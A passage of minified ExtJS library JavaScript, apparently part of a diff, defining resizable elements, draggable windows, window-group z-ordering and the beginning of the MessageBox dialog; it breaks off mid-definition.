this.el.setPositioning(e.resizeChild.getPositioning()); + e.resizeChild.clearPositioning(); + if (!e.width || !e.height) { + var g = e.resizeChild.getSize(); + this.el.setSize(g.width, g.height) + } + if (e.pinned && !e.adjustments) { + e.adjustments = "auto" + } + } + this.proxy = this.el.createProxy({tag:"div", cls:"x-resizable-proxy", id:this.el.id + "-rzproxy"}, Ext.getBody()); + this.proxy.unselectable(); + this.proxy.enableDisplayMode("block"); + Ext.apply(this, e); + if (this.pinned) { + this.disableTrackOver = true; + this.el.addClass("x-resizable-pinned") + } + var k = this.el.getStyle("position"); + if (k != "absolute" && k != "fixed") { + this.el.setStyle("position", "relative") + } + if (!this.handles) { + this.handles = "s,e,se"; + if (this.multiDirectional) { + this.handles += ",n,w" + } + } + if (this.handles == "all") { + this.handles = "n s e w ne nw se sw" + } + var o = this.handles.split(/\s*?[,;]\s*?| /); + var c = Ext.Resizable.positions; + for (var j = 0, l = o.length; j < l; j++) { + if (o[j] && c[o[j]]) { + var n = c[o[j]]; + this[n] = new Ext.Resizable.Handle(this, n, this.disableTrackOver, this.transparent, this.handleCls) + } + } + this.corner = this.southeast; + if (this.handles.indexOf("n") != -1 || this.handles.indexOf("w") != -1) { + this.updateBox = true + } + this.activeHandle = null; + if (this.resizeChild) { + if (typeof this.resizeChild == "boolean") { + this.resizeChild = Ext.get(this.el.dom.firstChild, true) + } else { + this.resizeChild = Ext.get(this.resizeChild, true) + } + } + if (this.adjustments == "auto") { + var b = this.resizeChild; + var m = this.west, h = this.east, a = this.north, o = this.south; + if (b && (m || a)) { + b.position("relative"); + b.setLeft(m ? m.el.getWidth() : 0); + b.setTop(a ? a.el.getHeight() : 0) + } + this.adjustments = [(h ? -h.el.getWidth() : 0) + (m ? -m.el.getWidth() : 0), (a ? -a.el.getHeight() : 0) + (o ? -o.el.getHeight() : 0) - 1] + } + if (this.draggable) { + this.dd = this.dynamic ? this.el.initDD(null) : this.el.initDDProxy(null, {dragElId:this.proxy.id}); + this.dd.setHandleElId(this.resizeChild ? this.resizeChild.id : this.el.id); + if (this.constrainTo) { + this.dd.constrainTo(this.constrainTo) + } + } + this.addEvents("beforeresize", "resize"); + if (this.width !== null && this.height !== null) { + this.resizeTo(this.width, this.height) + } else { + this.updateChildSize() + } + if (Ext.isIE) { + this.el.dom.style.zoom = 1 + } + Ext.Resizable.superclass.constructor.call(this) +}, adjustments:[0, 0], animate:false, disableTrackOver:false, draggable:false, duration:0.35, dynamic:false, easing:"easeOutStrong", enabled:true, handles:false, multiDirectional:false, height:null, width:null, heightIncrement:0, widthIncrement:0, minHeight:5, minWidth:5, maxHeight:10000, maxWidth:10000, minX:0, minY:0, pinned:false, preserveRatio:false, resizeChild:false, transparent:false, resizeTo:function (b, a) { + this.el.setSize(b, a); + this.updateChildSize(); + this.fireEvent("resize", this, b, a, null) +}, startSizing:function (c, b) { + this.fireEvent("beforeresize", this, c); + if (this.enabled) { + if (!this.overlay) { + this.overlay = this.el.createProxy({tag:"div", cls:"x-resizable-overlay", html:" "}, Ext.getBody()); + this.overlay.unselectable(); + this.overlay.enableDisplayMode("block"); + this.overlay.on({scope:this, mousemove:this.onMouseMove, mouseup:this.onMouseUp}) + } + this.overlay.setStyle("cursor", b.el.getStyle("cursor")); + this.resizing = true; + this.startBox = this.el.getBox(); + this.startPoint = c.getXY(); + this.offsets = [(this.startBox.x + this.startBox.width) - this.startPoint[0], (this.startBox.y + this.startBox.height) - this.startPoint[1]]; + this.overlay.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)); + this.overlay.show(); + if (this.constrainTo) { + var a = Ext.get(this.constrainTo); + this.resizeRegion = a.getRegion().adjust(a.getFrameWidth("t"), a.getFrameWidth("l"), -a.getFrameWidth("b"), -a.getFrameWidth("r")) + } + this.proxy.setStyle("visibility", "hidden"); + this.proxy.show(); + this.proxy.setBox(this.startBox); + if (!this.dynamic) { + this.proxy.setStyle("visibility", "visible") + } + } +}, onMouseDown:function (a, b) { + if (this.enabled) { + b.stopEvent(); + this.activeHandle = a; + this.startSizing(b, a) + } +}, onMouseUp:function (b) { + this.activeHandle = null; + var a = this.resizeElement(); + this.resizing = false; + this.handleOut(); + this.overlay.hide(); + this.proxy.hide(); + this.fireEvent("resize", this, a.width, a.height, b) +}, updateChildSize:function () { + if (this.resizeChild) { + var d = this.el; + var e = this.resizeChild; + var c = this.adjustments; + if (d.dom.offsetWidth) { + var a = d.getSize(true); + e.setSize(a.width + c[0], a.height + c[1]) + } + if (Ext.isIE) { + setTimeout(function () { + if (d.dom.offsetWidth) { + var g = d.getSize(true); + e.setSize(g.width + c[0], g.height + c[1]) + } + }, 10) + } + } +}, snap:function (c, e, b) { + if (!e || !c) { + return c + } + var d = c; + var a = c % e; + if (a > 0) { + if (a > (e / 2)) { + d = c + (e - a) + } else { + d = c - a + } + } + return Math.max(b, d) +}, resizeElement:function () { + var a = this.proxy.getBox(); + if (this.updateBox) { + this.el.setBox(a, false, this.animate, this.duration, null, this.easing) + } else { + this.el.setSize(a.width, a.height, this.animate, this.duration, null, this.easing) + } + this.updateChildSize(); + if (!this.dynamic) { + this.proxy.hide() + } + if (this.draggable && this.constrainTo) { + this.dd.resetConstraints(); + this.dd.constrainTo(this.constrainTo) + } + return a +}, constrain:function (b, c, a, d) { + if (b - c < a) { + c = b - a + } else { + if (b - c > d) { + c = b - d + } + } + return c +}, onMouseMove:function (z) { + if (this.enabled && this.activeHandle) { + try { + if (this.resizeRegion && !this.resizeRegion.contains(z.getPoint())) { + return + } + var t = this.curSize || this.startBox, l = this.startBox.x, k = this.startBox.y, c = l, b = k, m = t.width, u = t.height, d = m, o = u, n = this.minWidth, A = this.minHeight, s = this.maxWidth, D = this.maxHeight, i = this.widthIncrement, a = this.heightIncrement, B = z.getXY(), r = -(this.startPoint[0] - Math.max(this.minX, B[0])), p = -(this.startPoint[1] - Math.max(this.minY, B[1])), j = this.activeHandle.position, E, g; + switch (j) { + case"east": + m += r; + m = Math.min(Math.max(n, m), s); + break; + case"south": + u += p; + u = Math.min(Math.max(A, u), D); + break; + case"southeast": + m += r; + u += p; + m = Math.min(Math.max(n, m), s); + u = Math.min(Math.max(A, u), D); + break; + case"north": + p = this.constrain(u, p, A, D); + k += p; + u -= p; + break; + case"west": + r = this.constrain(m, r, n, s); + l += r; + m -= r; + break; + case"northeast": + m += r; + m = Math.min(Math.max(n, m), s); + p = this.constrain(u, p, A, D); + k += p; + u -= p; + break; + case"northwest": + r = this.constrain(m, r, n, s); + p = this.constrain(u, p, A, D); + k += p; + u -= p; + l += r; + m -= r; + break; + case"southwest": + r = this.constrain(m, r, n, s); + u += p; + u = Math.min(Math.max(A, u), D); + l += r; + m -= r; + break + } + var q = this.snap(m, i, n); + var C = this.snap(u, a, A); + if (q != m || C != u) { + switch (j) { + case"northeast": + k -= C - u; + break; + case"north": + k -= C - u; + break; + case"southwest": + l -= q - m; + break; + case"west": + l -= q - m; + break; + case"northwest": + l -= q - m; + k -= C - u; + break + } + m = q; + u = C + } + if (this.preserveRatio) { + switch (j) { + case"southeast": + case"east": + u = o * (m / d); + u = Math.min(Math.max(A, u), D); + m = d * (u / o); + break; + case"south": + m = d * (u / o); + m = Math.min(Math.max(n, m), s); + u = o * (m / d); + break; + case"northeast": + m = d * (u / o); + m = Math.min(Math.max(n, m), s); + u = o * (m / d); + break; + case"north": + E = m; + m = d * (u / o); + m = Math.min(Math.max(n, m), s); + u = o * (m / d); + l += (E - m) / 2; + break; + case"southwest": + u = o * (m / d); + u = Math.min(Math.max(A, u), D); + E = m; + m = d * (u / o); + l += E - m; + break; + case"west": + g = u; + u = o * (m / d); + u = Math.min(Math.max(A, u), D); + k += (g - u) / 2; + E = m; + m = d * (u / o); + l += E - m; + break; + case"northwest": + E = m; + g = u; + u = o * (m / d); + u = Math.min(Math.max(A, u), D); + m = d * (u / o); + k += g - u; + l += E - m; + break + } + } + this.proxy.setBounds(l, k, m, u); + if (this.dynamic) { + this.resizeElement() + } + } catch (v) { + } + } +}, handleOver:function () { + if (this.enabled) { + this.el.addClass("x-resizable-over") + } +}, handleOut:function () { + if (!this.resizing) { + this.el.removeClass("x-resizable-over") + } +}, getEl:function () { + return this.el +}, getResizeChild:function () { + return this.resizeChild +}, destroy:function (b) { + Ext.destroy(this.dd, this.overlay, this.proxy); + this.overlay = null; + this.proxy = null; + var c = Ext.Resizable.positions; + for (var a in c) { + if (typeof c[a] != "function" && this[c[a]]) { + this[c[a]].destroy() + } + } + if (b) { + this.el.update(""); + Ext.destroy(this.el); + this.el = null + } + this.purgeListeners() +}, syncHandleHeight:function () { + var a = this.el.getHeight(true); + if (this.west) { + this.west.el.setHeight(a) + } + if (this.east) { + this.east.el.setHeight(a) + } +}}); +Ext.Resizable.positions = {n:"north", s:"south", e:"east", w:"west", se:"southeast", sw:"southwest", nw:"northwest", ne:"northeast"}; +Ext.Resizable.Handle = Ext.extend(Object, {constructor:function (d, g, c, e, a) { + if (!this.tpl) { + var b = Ext.DomHelper.createTemplate({tag:"div", cls:"x-resizable-handle x-resizable-handle-{0}"}); + b.compile(); + Ext.Resizable.Handle.prototype.tpl = b + } + this.position = g; + this.rz = d; + this.el = this.tpl.append(d.el.dom, [this.position], true); + this.el.unselectable(); + if (e) { + this.el.setOpacity(0) + } + if (!Ext.isEmpty(a)) { + this.el.addClass(a) + } + this.el.on("mousedown", this.onMouseDown, this); + if (!c) { + this.el.on({scope:this, mouseover:this.onMouseOver, mouseout:this.onMouseOut}) + } +}, afterResize:function (a) { +}, onMouseDown:function (a) { + this.rz.onMouseDown(this, a) +}, onMouseOver:function (a) { + this.rz.handleOver(this, a) +}, onMouseOut:function (a) { + this.rz.handleOut(this, a) +}, destroy:function () { + Ext.destroy(this.el); + this.el = null +}}); +Ext.Window = Ext.extend(Ext.Panel, {baseCls:"x-window", resizable:true, draggable:true, closable:true, closeAction:"close", constrain:false, constrainHeader:false, plain:false, minimizable:false, maximizable:false, minHeight:100, minWidth:200, expandOnShow:true, showAnimDuration:0.25, hideAnimDuration:0.25, collapsible:false, initHidden:undefined, hidden:true, elements:"header,body", frame:true, floating:true, initComponent:function () { + this.initTools(); + Ext.Window.superclass.initComponent.call(this); + this.addEvents("resize", "maximize", "minimize", "restore"); + if (Ext.isDefined(this.initHidden)) { + this.hidden = this.initHidden + } + if (this.hidden === false) { + this.hidden = true; + this.show() + } +}, getState:function () { + return Ext.apply(Ext.Window.superclass.getState.call(this) || {}, this.getBox(true)) +}, onRender:function (b, a) { + Ext.Window.superclass.onRender.call(this, b, a); + if (this.plain) { + this.el.addClass("x-window-plain") + } + this.focusEl = this.el.createChild({tag:"a", href:"#", cls:"x-dlg-focus", tabIndex:"-1", html:" "}); + this.focusEl.swallowEvent("click", true); + this.proxy = this.el.createProxy("x-window-proxy"); + this.proxy.enableDisplayMode("block"); + if (this.modal) { + this.mask = this.container.createChild({cls:"ext-el-mask"}, this.el.dom); + this.mask.enableDisplayMode("block"); + this.mask.hide(); + this.mon(this.mask, "click", this.focus, this) + } + if (this.maximizable) { + this.mon(this.header, "dblclick", this.toggleMaximize, this) + } +}, initEvents:function () { + Ext.Window.superclass.initEvents.call(this); + if (this.animateTarget) { + this.setAnimateTarget(this.animateTarget) + } + if (this.resizable) { + this.resizer = new Ext.Resizable(this.el, {minWidth:this.minWidth, minHeight:this.minHeight, handles:this.resizeHandles || "all", pinned:true, resizeElement:this.resizerAction, handleCls:"x-window-handle"}); + this.resizer.window = this; + this.mon(this.resizer, "beforeresize", this.beforeResize, this) + } + if (this.draggable) { + this.header.addClass("x-window-draggable") + } + this.mon(this.el, "mousedown", this.toFront, this); + this.manager = this.manager || Ext.WindowMgr; + this.manager.register(this); + if (this.maximized) { + this.maximized = false; + this.maximize() + } + if (this.closable) { + var a = this.getKeyMap(); + a.on(27, this.onEsc, this); + a.disable() + } +}, initDraggable:function () { + this.dd = new Ext.Window.DD(this) +}, onEsc:function (a, b) { + if (this.activeGhost) { + this.unghost() + } + b.stopEvent(); + this[this.closeAction]() +}, beforeDestroy:function () { + if (this.rendered) { + this.hide(); + this.clearAnchor(); + Ext.destroy(this.focusEl, this.resizer, this.dd, this.proxy, this.mask) + } + Ext.Window.superclass.beforeDestroy.call(this) +}, onDestroy:function () { + if (this.manager) { + this.manager.unregister(this) + } + Ext.Window.superclass.onDestroy.call(this) +}, initTools:function () { + if (this.minimizable) { + this.addTool({id:"minimize", handler:this.minimize.createDelegate(this, [])}) + } + if (this.maximizable) { + this.addTool({id:"maximize", handler:this.maximize.createDelegate(this, [])}); + this.addTool({id:"restore", handler:this.restore.createDelegate(this, []), hidden:true}) + } + if (this.closable) { + this.addTool({id:"close", handler:this[this.closeAction].createDelegate(this, [])}) + } +}, resizerAction:function () { + var a = this.proxy.getBox(); + this.proxy.hide(); + this.window.handleResize(a); + return a +}, beforeResize:function () { + this.resizer.minHeight = Math.max(this.minHeight, this.getFrameHeight() + 40); + this.resizer.minWidth = Math.max(this.minWidth, this.getFrameWidth() + 40); + this.resizeBox = this.el.getBox() +}, updateHandles:function () { + if (Ext.isIE && this.resizer) { + this.resizer.syncHandleHeight(); + this.el.repaint() + } +}, handleResize:function (b) { + var a = this.resizeBox; + if (a.x != b.x || a.y != b.y) { + this.updateBox(b) + } else { + this.setSize(b); + if (Ext.isIE6 && Ext.isStrict) { + this.doLayout() + } + } + this.focus(); + this.updateHandles(); + this.saveState() +}, focus:function () { + var e = this.focusEl, a = this.defaultButton, c = typeof a, d, b; + if (Ext.isDefined(a)) { + if (Ext.isNumber(a) && this.fbar) { + e = this.fbar.items.get(a) + } else { + if (Ext.isString(a)) { + e = Ext.getCmp(a) + } else { + e = a + } + } + d = e.getEl(); + b = Ext.getDom(this.container); + if (d && b) { + if (b != document.body && !Ext.lib.Region.getRegion(b).contains(Ext.lib.Region.getRegion(d.dom))) { + return + } + } + } + e = e || this.focusEl; + e.focus.defer(10, e) +}, setAnimateTarget:function (a) { + a = Ext.get(a); + this.animateTarget = a +}, beforeShow:function () { + delete this.el.lastXY; + delete this.el.lastLT; + if (this.x === undefined || this.y === undefined) { + var a = this.el.getAlignToXY(this.container, "c-c"); + var b = this.el.translatePoints(a[0], a[1]); + this.x = this.x === undefined ? b.left : this.x; + this.y = this.y === undefined ? b.top : this.y + } + this.el.setLeftTop(this.x, this.y); + if (this.expandOnShow) { + this.expand(false) + } + if (this.modal) { + Ext.getBody().addClass("x-body-masked"); + this.mask.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)); + this.mask.show() + } +}, show:function (c, a, b) { + if (!this.rendered) { + this.render(Ext.getBody()) + } + if (this.hidden === false) { + this.toFront(); + return this + } + if (this.fireEvent("beforeshow", this) === false) { + return this + } + if (a) { + this.on("show", a, b, {single:true}) + } + this.hidden = false; + if (Ext.isDefined(c)) { + this.setAnimateTarget(c) + } + this.beforeShow(); + if (this.animateTarget) { + this.animShow() + } else { + this.afterShow() + } + return this +}, afterShow:function (b) { + if (this.isDestroyed) { + return false + } + this.proxy.hide(); + this.el.setStyle("display", "block"); + this.el.show(); + if (this.maximized) { + this.fitContainer() + } + if (Ext.isMac && Ext.isGecko2) { + this.cascade(this.setAutoScroll) + } + if (this.monitorResize || this.modal || this.constrain || this.constrainHeader) { + Ext.EventManager.onWindowResize(this.onWindowResize, this) + } + this.doConstrain(); + this.doLayout(); + if (this.keyMap) { + this.keyMap.enable() + } + this.toFront(); + this.updateHandles(); + if (b && (Ext.isIE || Ext.isWebKit)) { + var a = this.getSize(); + this.onResize(a.width, a.height) + } + this.onShow(); + this.fireEvent("show", this) +}, animShow:function () { + this.proxy.show(); + this.proxy.setBox(this.animateTarget.getBox()); + this.proxy.setOpacity(0); + var a = this.getBox(); + this.el.setStyle("display", "none"); + this.proxy.shift(Ext.apply(a, {callback:this.afterShow.createDelegate(this, [true], false), scope:this, easing:"easeNone", duration:this.showAnimDuration, opacity:0.5})) +}, hide:function (c, a, b) { + if (this.hidden || this.fireEvent("beforehide", this) === false) { + return this + } + if (a) { + this.on("hide", a, b, {single:true}) + } + this.hidden = true; + if (c !== undefined) { + this.setAnimateTarget(c) + } + if (this.modal) { + this.mask.hide(); + Ext.getBody().removeClass("x-body-masked") + } + if (this.animateTarget) { + this.animHide() + } else { + this.el.hide(); + this.afterHide() + } + return this +}, afterHide:function () { + this.proxy.hide(); + if (this.monitorResize || this.modal || this.constrain || this.constrainHeader) { + Ext.EventManager.removeResizeListener(this.onWindowResize, this) + } + if (this.keyMap) { + this.keyMap.disable() + } + this.onHide(); + this.fireEvent("hide", this) +}, animHide:function () { + this.proxy.setOpacity(0.5); + this.proxy.show(); + var a = this.getBox(false); + this.proxy.setBox(a); + this.el.hide(); + this.proxy.shift(Ext.apply(this.animateTarget.getBox(), {callback:this.afterHide, scope:this, duration:this.hideAnimDuration, easing:"easeNone", opacity:0})) +}, onShow:Ext.emptyFn, onHide:Ext.emptyFn, onWindowResize:function () { + if (this.maximized) { + this.fitContainer() + } + if (this.modal) { + this.mask.setSize("100%", "100%"); + var a = this.mask.dom.offsetHeight; + this.mask.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)) + } + this.doConstrain() +}, doConstrain:function () { + if (this.constrain || this.constrainHeader) { + var b; + if (this.constrain) { + b = {right:this.el.shadowOffset, left:this.el.shadowOffset, bottom:this.el.shadowOffset} + } else { + var a = this.getSize(); + b = {right:-(a.width - 100), bottom:-(a.height - 25 + this.el.getConstrainOffset())} + } + var c = this.el.getConstrainToXY(this.container, true, b); + if (c) { + this.setPosition(c[0], c[1]) + } + } +}, ghost:function (a) { + var c = this.createGhost(a); + var b = this.getBox(true); + c.setLeftTop(b.x, b.y); + c.setWidth(b.width); + this.el.hide(); + this.activeGhost = c; + return c +}, unghost:function (b, a) { + if (!this.activeGhost) { + return + } + if (b !== false) { + this.el.show(); + this.focus.defer(10, this); + if (Ext.isMac && Ext.isGecko2) { + this.cascade(this.setAutoScroll) + } + } + if (a !== false) { + this.setPosition(this.activeGhost.getLeft(true), this.activeGhost.getTop(true)) + } + this.activeGhost.hide(); + this.activeGhost.remove(); + delete this.activeGhost +}, minimize:function () { + this.fireEvent("minimize", this); + return this +}, close:function () { + if (this.fireEvent("beforeclose", this) !== false) { + if (this.hidden) { + this.doClose() + } else { + this.hide(null, this.doClose, this) + } + } +}, doClose:function () { + this.fireEvent("close", this); + this.destroy() +}, maximize:function () { + if (!this.maximized) { + this.expand(false); + this.restoreSize = this.getSize(); + this.restorePos = this.getPosition(true); + if (this.maximizable) { + this.tools.maximize.hide(); + this.tools.restore.show() + } + this.maximized = true; + this.el.disableShadow(); + if (this.dd) { + this.dd.lock() + } + if (this.collapsible) { + this.tools.toggle.hide() + } + this.el.addClass("x-window-maximized"); + this.container.addClass("x-window-maximized-ct"); + this.setPosition(0, 0); + this.fitContainer(); + this.fireEvent("maximize", this) + } + return this +}, restore:function () { + if (this.maximized) { + var a = this.tools; + this.el.removeClass("x-window-maximized"); + if (a.restore) { + a.restore.hide() + } + if (a.maximize) { + a.maximize.show() + } + this.setPosition(this.restorePos[0], this.restorePos[1]); + this.setSize(this.restoreSize.width, this.restoreSize.height); + delete this.restorePos; + delete this.restoreSize; + this.maximized = false; + this.el.enableShadow(true); + if (this.dd) { + this.dd.unlock() + } + if (this.collapsible && a.toggle) { + a.toggle.show() + } + this.container.removeClass("x-window-maximized-ct"); + this.doConstrain(); + this.fireEvent("restore", this) + } + return this +}, toggleMaximize:function () { + return this[this.maximized ? "restore" : "maximize"]() +}, fitContainer:function () { + var a = this.container.getViewSize(false); + this.setSize(a.width, a.height) +}, setZIndex:function (a) { + if (this.modal) { + this.mask.setStyle("z-index", a) + } + this.el.setZIndex(++a); + a += 5; + if (this.resizer) { + this.resizer.proxy.setStyle("z-index", ++a) + } + this.lastZIndex = a +}, alignTo:function (b, a, c) { + var d = this.el.getAlignToXY(b, a, c); + this.setPagePosition(d[0], d[1]); + return this +}, anchorTo:function (c, e, d, b) { + this.clearAnchor(); + this.anchorTarget = {el:c, alignment:e, offsets:d}; + Ext.EventManager.onWindowResize(this.doAnchor, this); + var a = typeof b; + if (a != "undefined") { + Ext.EventManager.on(window, "scroll", this.doAnchor, this, {buffer:a == "number" ? b : 50}) + } + return this.doAnchor() +}, doAnchor:function () { + var a = this.anchorTarget; + this.alignTo(a.el, a.alignment, a.offsets); + return this +}, clearAnchor:function () { + if (this.anchorTarget) { + Ext.EventManager.removeResizeListener(this.doAnchor, this); + Ext.EventManager.un(window, "scroll", this.doAnchor, this); + delete this.anchorTarget + } + return this +}, toFront:function (a) { + if (this.manager.bringToFront(this)) { + if (!a || !a.getTarget().focus) { + this.focus() + } + } + return this +}, setActive:function (a) { + if (a) { + if (!this.maximized) { + this.el.enableShadow(true) + } + this.fireEvent("activate", this) + } else { + this.el.disableShadow(); + this.fireEvent("deactivate", this) + } +}, toBack:function () { + this.manager.sendToBack(this); + return this +}, center:function () { + var a = this.el.getAlignToXY(this.container, "c-c"); + this.setPagePosition(a[0], a[1]); + return this +}}); +Ext.reg("window", Ext.Window); +Ext.Window.DD = Ext.extend(Ext.dd.DD, {constructor:function (a) { + this.win = a; + Ext.Window.DD.superclass.constructor.call(this, a.el.id, "WindowDD-" + a.id); + this.setHandleElId(a.header.id); + this.scroll = false +}, moveOnly:true, headerOffsets:[100, 25], startDrag:function () { + var a = this.win; + this.proxy = a.ghost(a.initialConfig.cls); + if (a.constrain !== false) { + var c = a.el.shadowOffset; + this.constrainTo(a.container, {right:c, left:c, bottom:c}) + } else { + if (a.constrainHeader !== false) { + var b = this.proxy.getSize(); + this.constrainTo(a.container, {right:-(b.width - this.headerOffsets[0]), bottom:-(b.height - this.headerOffsets[1])}) + } + } +}, b4Drag:Ext.emptyFn, onDrag:function (a) { + this.alignElWithMouse(this.proxy, a.getPageX(), a.getPageY()) +}, endDrag:function (a) { + this.win.unghost(); + this.win.saveState() +}}); +Ext.WindowGroup = function () { + var g = {}; + var d = []; + var e = null; + var c = function (j, i) { + return(!j._lastAccess || j._lastAccess < i._lastAccess) ? -1 : 1 + }; + var h = function () { + var l = d, j = l.length; + if (j > 0) { + l.sort(c); + var k = l[0].manager.zseed; + for (var m = 0; m < j; m++) { + var n = l[m]; + if (n && !n.hidden) { + n.setZIndex(k + (m * 10)) + } + } + } + a() + }; + var b = function (i) { + if (i != e) { + if (e) { + e.setActive(false) + } + e = i; + if (i) { + i.setActive(true) + } + } + }; + var a = function () { + for (var j = d.length - 1; j >= 0; --j) { + if (!d[j].hidden) { + b(d[j]); + return + } + } + b(null) + }; + return{zseed:9000, register:function (i) { + if (i.manager) { + i.manager.unregister(i) + } + i.manager = this; + g[i.id] = i; + d.push(i); + i.on("hide", a) + }, unregister:function (i) { + delete i.manager; + delete g[i.id]; + i.un("hide", a); + d.remove(i) + }, get:function (i) { + return typeof i == "object" ? i : g[i] + }, bringToFront:function (i) { + i = this.get(i); + if (i != e) { + i._lastAccess = new Date().getTime(); + h(); + return true + } + return false + }, sendToBack:function (i) { + i = this.get(i); + i._lastAccess = -(new Date().getTime()); + h(); + return i + }, hideAll:function () { + for (var i in g) { + if (g[i] && typeof g[i] != "function" && g[i].isVisible()) { + g[i].hide() + } + } + }, getActive:function () { + return e + }, getBy:function (l, k) { + var m = []; + for (var j = d.length - 1; j >= 0; --j) { + var n = d[j]; + if (l.call(k || n, n) !== false) { + m.push(n) + } + } + return m + }, each:function (j, i) { + for (var k in g) { + if (g[k] && typeof g[k] != "function") { + if (j.call(i || g[k], g[k]) === false) { + return + } + } + } + }} +}; +Ext.WindowMgr = new Ext.WindowGroup(); +Ext.MessageBox = function () { + var u, b, q, t, h, l, s, a, n, p, j, g, r, v, o, i = "", d = "", m = ["ok", "yes", "no", "cancel"]; + var c = function (x) { + r[x].blur(); + if (u.isVisible()) { + u.hide(); + w(); + Ext.callback(b.fn, b.scope || window, [x, v.dom.value, b], 1) + } + }; + var w = function () { + if (b && b.cls) { + u.el.removeClass(b.cls) + } + n.reset() + }; + var e = function (z, x, y) { + if (b && b.closable !== false) { + u.hide(); + w() + } + if (y) { + y.stopEvent() + } + }; + var k = function (x) { + var z = 0, y; + if (!x) { + Ext.each(m, function (A) { + r[A].hide() + }); + return z + } + u.footer.dom.style.display = ""; + Ext.iterate(r, function (A, B) { + y = x[A]; + if (y) { + B.show(); + B.setText(Ext.isString(y) ? y : Ext.MessageBox.buttonText[A]); + z += B.getEl().getWidth() + 15 + } else { + B.hide() + } + }); + return z + }; + return{getDialog:function (x) { + if (!u) { + var z = []; + r = {}; + Ext.each(m, function (A) { + z.push(r[A] = new Ext.Button({text:this.buttonText[A], handler:c.createCallback(A), hideMode:"offsets"})) + }, this); + u = new Ext.Window({autoCreate:true, title:x, resizable:false, constrain:true, constrainHeader:true, minimizable:false, maximizable:false, stateful:false, modal:true, shim:true, buttonAlign:"center", width:400, height:100, minHeight:80, plain:true, footer:true, closable:true, close:function () { + if (b && b.buttons && b.buttons.no && !b.buttons.cancel) { + c("no") + } else { + c("cancel") + } + }, fbar:new Ext.Toolbar({items:z, enableOverflow:false})}); + u.render(document.body); + u.getEl().addClass("x-window-dlg"); + q = u.mask; + h = u.body.createChild({html:'

    '}); + j = Ext.get(h.dom.firstChild); + var y = h.dom.childNodes[1]; + l = Ext.get(y.firstChild); + s = Ext.get(y.childNodes[2].firstChild); + s.enableDisplayMode(); + s.addKeyListener([10, 13], function () { + if (u.isVisible() && b && b.buttons) { + if (b.buttons.ok) { + c("ok") + } else { + if (b.buttons.yes) { + c("yes") + } + } + } + }); + a = Ext.get(y.childNodes[2].childNodes[1]); + a.enableDisplayMode(); + n = new Ext.ProgressBar({renderTo:h}); + h.createChild({cls:"x-clear"}) + } + return u + }, updateText:function (A) { + if (!u.isVisible() && !b.width) { + u.setSize(this.maxWidth, 100) + } + l.update(A ? A + " " : " "); + var y = d != "" ? (j.getWidth() + j.getMargins("lr")) : 0, C = l.getWidth() + l.getMargins("lr"), z = u.getFrameWidth("lr"), B = u.body.getFrameWidth("lr"), x; + x = Math.max(Math.min(b.width || y + C + z + B, b.maxWidth || this.maxWidth), Math.max(b.minWidth || this.minWidth, o || 0)); + if (b.prompt === true) { + v.setWidth(x - y - z - B) + } + if (b.progress === true || b.wait === true) { + n.setSize(x - y - z - B) + } + if (Ext.isIE && x == o) { + x += 4 + } + l.update(A || " "); + u.setSize(x, "auto").center(); + return this + }, updateProgress:function (y, x, z) { + n.updateProgress(y, x); + if (z) { + this.updateText(z) + } + return this + }, isVisible:function () { + return u && u.isVisible() + }, hide:function () { + var x = u ? u.activeGhost : null; + if (this.isVisible() || x) { + u.hide(); + w(); + if (x) { + u.unghost(false, false) + } + } + return this + }, show:function (A) { + if (this.isVisible()) { + this.hide() + } + b = A; + var B = this.getDialog(b.title || " "); + B.setTitle(b.title || " "); + var x = (b.closable !== false && b.progress !== true && b.wait !== true); + B.tools.close.setDisplayed(x); + v = s; + b.prompt = b.prompt || (b.multiline ? true : false); + if (b.prompt) { + if (b.multiline) { + s.hide(); + a.show(); + a.setHeight(Ext.isNumber(b.multiline) ? b.multiline : this.defaultTextHeight); + v = a + } else { + s.show(); + a.hide() + } + } else { + s.hide(); + a.hide() + } + v.dom.value = b.value || ""; + if (b.prompt) { + B.focusEl = v + } else { + var z = b.buttons; + var y = null; + if (z && z.ok) { + y = r.ok + } else { + if (z && z.yes) { + y = r.yes + } + } + if (y) { + B.focusEl = y + } + } + if (Ext.isDefined(b.iconCls)) { + B.setIconClass(b.iconCls) + } + this.setIcon(Ext.isDefined(b.icon) ? b.icon : i); + o = k(b.buttons); + n.setVisible(b.progress === true || b.wait === true); + this.updateProgress(0, b.progressText); + this.updateText(b.msg); + if (b.cls) { + B.el.addClass(b.cls) + } + B.proxyDrag = b.proxyDrag === true; + B.modal = b.modal !== false; + B.mask = b.modal !== false ? q : false; + if (!B.isVisible()) { + document.body.appendChild(u.el.dom); + B.setAnimateTarget(b.animEl); + B.on("show", function () { + if (x === true) { + B.keyMap.enable() + } else { + B.keyMap.disable() + } + }, this, {single:true}); + B.show(b.animEl) + } + if (b.wait === true) { + n.wait(b.waitConfig) + } + return this + }, setIcon:function (x) { + if (!u) { + i = x; + return + } + i = undefined; + if (x && x != "") { + j.removeClass("x-hidden"); + j.replaceClass(d, x); + h.addClass("x-dlg-icon"); + d = x + } else { + j.replaceClass(d, "x-hidden"); + h.removeClass("x-dlg-icon"); + d = "" + } + return this + }, progress:function (z, y, x) { + this.show({title:z, msg:y, buttons:false, progress:true, closable:false, minWidth:this.minProgressWidth, progressText:x}); + return this + }, wait:function (z, y, x) { + this.show({title:y, msg:z, buttons:false, closable:false, wait:true, modal:true, minWidth:this.minProgressWidth, waitConfig:x}); + return this + }, alert:function (A, z, y, x) { + this.show({title:A, msg:z, buttons:this.OK, fn:y, scope:x, minWidth:this.minWidth}); + return this + }, confirm:function (A, z, y, x) { + this.show({title:A, msg:z, buttons:this.YESNO, fn:y, scope:x, icon:this.QUESTION, minWidth:this.minWidth}); + return this + }, prompt:function (C, B, z, y, x, A) { + this.show({title:C, msg:B, buttons:this.OKCANCEL, fn:z, minWidth:this.minPromptWidth, scope:y, prompt:true, multiline:x, value:A}); + return this + }, OK:{ok:true}, CANCEL:{cancel:true}, OKCANCEL:{ok:true, cancel:true}, YESNO:{yes:true, no:true}, YESNOCANCEL:{yes:true, no:true, cancel:true}, INFO:"ext-mb-info", WARNING:"ext-mb-warning", QUESTION:"ext-mb-question", ERROR:"ext-mb-error", defaultTextHeight:75, maxWidth:600, minWidth:100, minProgressWidth:250, minPromptWidth:250, buttonText:{ok:"OK", cancel:"Cancel", 